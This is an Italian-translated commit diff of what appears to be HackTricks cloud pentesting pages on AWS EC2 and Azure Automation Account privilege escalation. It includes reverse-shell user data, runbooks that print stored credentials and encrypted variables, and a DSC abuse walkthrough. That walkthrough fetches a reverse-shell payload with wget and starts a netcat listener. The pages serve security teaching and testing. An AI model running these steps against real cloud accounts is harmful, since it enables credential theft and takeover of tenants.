Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:37 +00:00
parent b139a6296a
commit 9873a4b9cb
7 changed files with 497 additions and 260 deletions

View File

@@ -44,7 +44,7 @@ Fai attenzione con GuardDuty se utilizzi le credenziali del ruolo IAM al di fuor
#### Privesc a ECS
Con questo set di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi puoi penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**.
Con questo insieme di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi potrai penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Se il **profilo dell'istanza ha un ruolo** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **profilo dell'istanza senza un ruolo** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **ruolo** a quel **profilo dell'istanza** (come discusso in precedenza) e **associare il profilo dell'istanza** compromesso a un'istanza compromessa:
- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`) \*
- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
@@ -92,23 +92,21 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
Con queste autorizzazioni è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa.
- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo** \*
- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato specifico del profilo dell'istanza).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Un attaccante con i permessi **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\
Un attaccante con le autorizzazioni **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\
Una volta che l'istanza è in esecuzione, può **rubare il ruolo IAM**.
```bash
REV=$(printf '#!/bin/bash
@@ -121,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Un attaccante con **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
Un attaccante con il **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissoni** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissive** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -178,7 +176,7 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso.
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
@@ -198,7 +196,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso.
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
### `!autoscaling`
@@ -254,7 +252,7 @@ Nei comandi sopra, anche se stiamo specificando determinati modelli (`aws_|passw
Assumendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo utilizzare queste credenziali per autenticarsi su AWS.
**Impatto Potenziale:** Escalation diretta dei privilegi a IAM user(s).
**Impatto Potenziale:** Escalation diretta dei privilegi a utente(i) IAM.
## Riferimenti

View File

@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Per ulteriori informazioni controlla:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
In sintesi, questi permessi consentono di **creare, modificare ed eseguire Runbook** nell'Automation Account, che potresti utilizzare per **eseguire codice** nel contesto dell'Automation Account e aumentare i privilegi delle **Managed Identities** assegnate e rivelare **credenziali** e **variabili criptate** memorizzate nell'Automation Account.
Il permesso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** consente di modificare il codice di un Runbook nell'Automation Account utilizzando:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Nota come lo script precedente può essere utilizzato per **leak the useranmd and password** di una credenziale e il valore di una **encrypted variable** memorizzata nell'Automation Account.
Il permesso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** consente all'utente di pubblicare un Runbook nell'Automation Account in modo che le modifiche vengano applicate:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Il permesso **`Microsoft.Automation/automationAccounts/jobs/write`** consente all'utente di eseguire un Runbook nell'Automation Account utilizzando:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
Il permesso **`Microsoft.Automation/automationAccounts/jobs/output/read`** consente all'utente di leggere l'output di un lavoro nell'Automation Account utilizzando:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Se non ci sono Runbook creati, o se vuoi crearne uno nuovo, avrai bisogno delle **autorizzazioni `Microsoft.Resources/subscriptions/resourcegroups/read` e `Microsoft.Automation/automationAccounts/runbooks/write`** per farlo utilizzando:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Questo permesso consente all'utente di **assegnare un'identità gestita dall'utente** all'Automation Account utilizzando:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Con il permesso **`Microsoft.Automation/automationAccounts/schedules/write`** è possibile creare un nuovo Programma nell'Account di Automazione che viene eseguito ogni 15 minuti (non molto furtivo) utilizzando il seguente comando.
Nota che l'**intervallo minimo per un programma è di 15 minuti**, e che il **tempo di inizio minimo è di 5 minuti** nel futuro.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Poi, con il permesso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** è possibile assegnare un Scheduler a un runbook utilizzando:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> Nell'esempio precedente, l'ID del jobchedule è stato lasciato come **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` come esempio** ma dovrai utilizzare un valore arbitrario per creare questo assegnamento.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Con il permesso **`Microsoft.Automation/automationAccounts/webhooks/write`** è possibile creare un nuovo Webhook per un Runbook all'interno di un Automation Account utilizzando il seguente comando.
Nota che dovrai **indicare l'URI del webhook** con il token da utilizzare.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Basta con il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` per **aggiornare il codice di un Runbook** senza pubblicarlo e eseguirlo utilizzando i seguenti comandi.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Questa autorizzazione consente all'utente di **configurare un controllo di origine** per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Questo importerà automaticamente i runbook dal repository Github all'Automation Account e con alcuni altri permessi per iniziare a eseguirli sarebbe **possibile escalare i privilegi**.
Inoltre, ricorda che per lavorare con il controllo delle sorgenti negli Automation Accounts deve avere un'identità gestita con il ruolo **`Contributor`** e se è un'identità gestita dall'utente, questa può essere configurata anche impostando nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** il **client id** dell'identità gestita dall'utente da utilizzare.
> [!TIP]
> Nota che non è possibile cambiare l'URL del repo di un controllo sorgente una volta creato.
### Ambienti di Esecuzione Personalizzati
Se un account di automazione utilizza un ambiente di esecuzione personalizzato, potrebbe essere possibile sovrascrivere un pacchetto personalizzato dell'ambiente di esecuzione con del codice malevolo (come **una backdoor**). In questo modo, ogni volta che un runbook che utilizza quell'ambiente di esecuzione personalizzato viene eseguito e carica il pacchetto personalizzato, il codice malevolo verrà eseguito.
### Compromissione della Configurazione di Stato
**Controlla il post completo in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Passo 1 — Creare File
**File Richiesti:** Sono necessari due script PowerShell:
1. `reverse_shell_config.ps1`: Un file di Desired State Configuration (DSC) che recupera ed esegue il payload. È disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Uno script per pubblicare la configurazione sulla VM, disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Personalizzazione:** Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori di server/payload.
- Passo 2 — Zip del File di Configurazione
Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, rendendolo pronto per il trasferimento all'Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Passo 3 — Imposta il contesto di archiviazione e carica
Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Passo 4 — Prepara Kali Box
Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Lo script viene modificato per specificare la VM Windows target e la porta per la reverse shell.
- Step 5 — Pubblica il file di configurazione
Il file di configurazione viene eseguito, risultando nel deployment dello script reverse-shell nella posizione specificata sulla VM Windows.
- Step 6 — Ospita il payload e imposta il listener
Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Il compito pianificato esegue il payload, ottenendo privilegi a livello di SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## Informazioni di base
[Dal documento:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation offre un servizio di automazione basato su cloud, aggiornamenti del sistema operativo e configurazione che supporta una gestione coerente nei tuoi ambienti Azure e non Azure. Include automazione dei processi, gestione della configurazione, gestione degli aggiornamenti, capacità condivise e funzionalità eterogenee.
Questi sono come "**compiti pianificati**" in Azure che ti permetteranno di eseguire cose (azioni o anche script) per **gestire**, controllare e configurare l'**ambiente Azure**.
### Account Run As
Quando si utilizza l'**Account Run As**, viene creata un'**applicazione** Azure AD con certificato autofirmato, viene creato un **principale di servizio** e viene assegnato il ruolo di **Collaboratore** per l'account nella **sottoscrizione attuale** (molti privilegi).\
Microsoft consiglia di utilizzare un'**Identità Gestita** per l'Account di Automazione.
> [!WARNING]
> Questo sarà **rimosso il 30 settembre 2023 e sostituito con Identità Gestite.**
## Runbooks e Lavori
I **Runbooks** ti consentono di **eseguire codice PowerShell arbitrario**. Questo potrebbe essere **abusato da un attaccante** per rubare i permessi del **principale allegato** (se presente).\
Nel **codice** dei **Runbooks** potresti anche trovare **informazioni sensibili** (come credenziali).
Se puoi **leggere** i **lavori**, fallo poiché **contengono** l'**output** dell'esecuzione (potenziali **informazioni sensibili**).
Vai su `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### Lavoratore Ibrido
Un Runbook può essere eseguito in un **contenitore all'interno di Azure** o in un **Lavoratore Ibrido** (macchina non Azure).\
L'**Agente di Log Analytics** è distribuito sulla VM per registrarla come lavoratore ibrido.\
I lavori del lavoratore ibrido vengono eseguiti come **SYSTEM** su Windows e come account **nxautomation** su Linux.\
Ogni Lavoratore Ibrido è registrato in un **Gruppo di Lavoratori Ibridi**.
Pertanto, se puoi scegliere di eseguire un **Runbook** in un **Lavoratore Ibrido Windows**, eseguirai **comandi arbitrari** all'interno di una macchina esterna come **System** (ottima tecnica di pivot).
## Compromissione della Configurazione di Stato (SC)
[Dal documento:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** è un servizio di gestione della configurazione di Azure che ti consente di scrivere, gestire e compilare PowerShell Desired State Configuration (DSC) [configurazioni](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) per nodi in qualsiasi cloud o data center on-premises. Il servizio importa anche [Risorse DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) e assegna configurazioni ai nodi target, tutto nel cloud. Puoi accedere alla Configurazione di Stato di Azure Automation nel portale Azure selezionando **Configurazione di stato (DSC)** sotto **Gestione della configurazione**.
**Informazioni sensibili** potrebbero essere trovate in queste configurazioni.
### RCE
È possibile abusare di SC per eseguire script arbitrari nelle macchine gestite.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Enumerazione
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Crea un Runbook
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Esfiltrare Credenziali e Variabili definite in un'Automation Account utilizzando un Run Book
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> Puoi fare la stessa cosa modificando un Run Book esistente, e dalla console web.
### Passaggi per Configurare la Creazione Automatica di un Utente con Privilegi Elevati
#### 1. Inizializzare un'Account di Automazione
- **Azione Richiesta:** Crea un nuovo Account di Automazione.
- **Impostazione Specifica:** Assicurati che "Crea account Azure Run As" sia abilitato.
#### 2. Importare e Configurare il Runbook
- **Fonte:** Scarica il runbook di esempio dal [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Azioni Richieste:**
- Importa il runbook nell'Account di Automazione.
- Pubblica il runbook per renderlo eseguibile.
- Collega un webhook al runbook, abilitando i trigger esterni.
#### 3. Configurare il Modulo AzureAD
- **Azione Richiesta:** Aggiungi il modulo AzureAD all'Account di Automazione.
- **Passo Aggiuntivo:** Assicurati che tutti i Moduli di Automazione di Azure siano aggiornati alle loro ultime versioni.
#### 4. Assegnazione dei Permessi
- **Ruoli da Assegnare:**
- Amministratore Utenti
- Proprietario Sottoscrizione
- **Obiettivo:** Assegna questi ruoli all'Account di Automazione per i privilegi necessari.
#### 5. Consapevolezza della Potenziale Perdita di Accesso
- **Nota:** Sii consapevole che configurare tale automazione potrebbe portare a perdere il controllo sulla sottoscrizione.
#### 6. Attivare la Creazione dell'Utente
- Attiva il webhook per creare un nuovo utente inviando una richiesta POST.
- Usa lo script PowerShell fornito, assicurandoti di sostituire il `$uri` con il tuo URL webhook effettivo e aggiornando il `$AccountInfo` con il nome utente e la password desiderati.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Riferimenti
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
**Controlla il post completo in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Riepilogo della Preparazione e dei Passaggi dell'Infrastruttura del Server Remoto (C2)
#### Panoramica
Il processo prevede la configurazione di un'infrastruttura di server remoto per ospitare un payload modificato di Nishang `Invoke-PowerShellTcp.ps1`, chiamato `RevPS.ps1`, progettato per eludere Windows Defender. Il payload è servito da una macchina Kali Linux con IP `40.84.7.74` utilizzando un semplice server HTTP Python. L'operazione viene eseguita attraverso diversi passaggi:
#### Passo 1 — Creare File
- **File Richiesti:** Sono necessari due script PowerShell:
1. `reverse_shell_config.ps1`: Un file di Desired State Configuration (DSC) che recupera ed esegue il payload. È disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Uno script per pubblicare la configurazione sulla VM, disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Personalizzazione:** Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori di server/payload.
#### Passo 2 — Comprimere il File di Configurazione
- Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, rendendolo pronto per il trasferimento all'Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Step 3 — Imposta il contesto di archiviazione e carica
- Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Step 4 — Prep Kali Box
- Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- Lo script viene modificato per specificare la VM Windows target e la porta per la reverse shell.
#### Step 5 — Pubblica il file di configurazione
- Il file di configurazione viene eseguito, risultando nel deployment dello script della reverse shell nella posizione specificata sulla VM Windows.
#### Step 6 — Ospita il payload e imposta il listener
- Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- Il compito pianificato esegue il payload, ottenendo privilegi a livello di SYSTEM.
#### Conclusione
L'esecuzione riuscita di questo processo apre numerose possibilità per ulteriori azioni, come il dumping delle credenziali o l'espansione dell'attacco a più VM. La guida incoraggia un apprendimento continuo e la creatività nel campo di Azure Automation DSC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,227 @@
# Az - Automation Accounts
{{#include ../../../../banners/hacktricks-training.md}}
## Informazioni di base
Gli Azure Automation Accounts sono servizi basati su cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti in ambienti Azure e on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori** di automazione, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud.
### Impostazioni
- **Credenziali**: La password è accessibile solo all'interno di un runbook all'interno dell'account di automazione, vengono utilizzate per **memorizzare in modo sicuro nomi utente e password**.
- **Variabili**: Utilizzate per memorizzare **dati di configurazione** che possono essere utilizzati nei runbook. Questo potrebbe includere anche informazioni sensibili come le chiavi API. Se la variabile è **memorizzata crittografata**, è disponibile solo all'interno di un runbook all'interno dell'account di automazione.
- **Certificati**: Utilizzati per memorizzare **certificati** che possono essere utilizzati nei runbook.
- **Connessioni**: Utilizzate per memorizzare **informazioni di connessione** a servizi esterni. Questo potrebbe contenere **informazioni sensibili**.
